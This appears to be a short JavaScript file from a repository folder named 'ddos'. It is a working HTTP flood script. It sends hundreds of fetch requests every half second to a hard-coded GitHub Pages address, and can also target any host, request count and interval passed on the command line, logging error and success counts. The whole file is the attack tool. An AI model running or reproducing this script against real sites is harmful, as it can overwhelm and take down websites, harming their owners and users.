games/other/ARCHIVE/ddos/worker.js
2023-03-02 10:25:46 +01:00

37 lines
965 B
JavaScript

import { red, blue } from 'colorette'
//import fetch from 'node-fetch'
// Count errors & successful requests
let errors = 0,
success = 0,
errorMessages = []
worker('https://t0m0t0w.github.io', 500, 500)
function worker(host, amount, interval) {
// Send requests with interval
setInterval(() => {
for (let i = 0; i < amount; i++) {
let isFailedRequest = false
fetch(host)
.catch((err) => {
if (err) {
if (!errorMessages.includes(err.code)) {
errorMessages.push(err.code)
console.log(`Error: ${red(err)}`)
}
isFailedRequest = true
errors++
}
})
.then(() => {
if (!isFailedRequest) {
success++
}
isFailedRequest = false
})
}
console.log(`Errors: ${red(errors)} Success: ${blue(success)}`)
}, interval)
}
worker(process.argv[2], process.argv[3], process.argv[4])